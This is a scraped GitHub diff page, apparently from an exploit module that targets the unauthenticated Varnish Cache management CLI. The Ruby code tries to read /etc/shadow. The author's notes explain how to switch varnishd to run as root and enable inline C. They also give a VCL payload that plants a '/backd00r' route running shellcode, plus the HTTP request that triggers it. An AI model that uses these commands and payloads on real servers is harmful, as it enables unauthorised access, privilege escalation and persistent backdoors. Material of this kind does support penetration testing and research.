You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
vprint_error("Unable to read /etc/shadow?:\n#{res}\n")
84
+
end
85
+
86
+
break
87
+
else
88
+
vprint_error("Unknown response:\n#{res}\n")
89
+
end
90
+
end
91
+
}
92
+
elsif(res =~ /Varnish Cache CLI 1.0/)
93
+
print_good("Varnishd CLI does not require authentication!")
94
+
else
95
+
vprint_error("Unknown response:\n#{res}\n")
96
+
end
97
+
disconnect
98
+
end
99
+
end
100
+
101
+
=begin
102
+
103
+
aushack notes:
104
+
105
+
- varnishd typically runs as root, forked as unpriv.
106
+
- 'param.show' lists configurable options.
107
+
- 'cli_timeout' is 60 seconds. param.set cli_timeout 99999 (?) if we want to inject payload into a client thread and avoid being killed.
108
+
- 'user' is nobody. param.set user root (may have to stop/start the child to activate)
109
+
- 'group' is nogroup. param.set group root (may have to stop/start the child to activate)
110
+
- (unless varnishd is launched with -r user,group (read-only) implemented in v4, which may make priv esc fail).
111
+
- vcc_unsafe_path is on. used to 'import ../../../../file' etc.
112
+
- vcc_allow_inline_c is off. param.set vcc_allow_inline_c on to enable code execution.
113
+
- code execution notes:
114
+
115
+
* quotes must be escaped \"
116
+
* \n is a newline
117
+
* C{ }C denotes raw C code.
118
+
* e.g. C{ unsigned char shellcode[] = \"\xcc\"; }C
119
+
* #import <stdio.h> etc must be "newline", i.e. C{ \n#include <stdlib.h>\n dosomething(); }C (without 2x \n, include statement will not interpret correctly).
120
+
* C{ asm(\"int3\"); }C can be used for inline assembly / shellcode.
121
+
* varnishd has it's own 'vcl' syntax. can't seem to inject C randomly - must fit VCL logic.
122
+
* example trigger for backdoor:
123
+
124
+
VCL server:
125
+
vcl.inline foo "vcl 4.0;\nbackend b { . host = \"127.0.0.1\"; } sub vcl_recv { if (req.url ~ \"^/backd00r\") { C{ asm(\"int3\"); }C } } \n"
126
+
vcl.use foo
127
+
start
128
+
129
+
Attacker:
130
+
telnet target 80
131
+
GET /backd00r HTTP/1.1
132
+
Host: 127.0.0.1
133
+
134
+
(... wait for child to execute debug trap INT3 / shellcode).
135
+
136
+
CLI protocol notes from website:
137
+
138
+
The CLI protocol used on the management/telnet interface is a strict request/response protocol, there are no unsolicited transmissions from the responding end.
139
+
140
+
Requests are whitespace separated tokens terminated by a newline (NL) character.
141
+
142
+
Tokens can be quoted with "..." and common backslash escape forms are accepted: (\n), (\r), (\t), (
143
+
), (\"), (\%03o) and (\x%02x)
144
+
145
+
The response consists of a header which can be read as fixed format or ASCII text:
146
+
147
+
1-3 %03d Response code
148
+
4 ' ' Space
149
+
5-12 %8d Length of body
150
+
13 \n NL character.
151
+
Followed by the number of bytes announced by the header.
152
+
153
+
The Responsecode is numeric shorthand for the nature of the reaction, with the following values currently defined in include/cli.h:
0 commit comments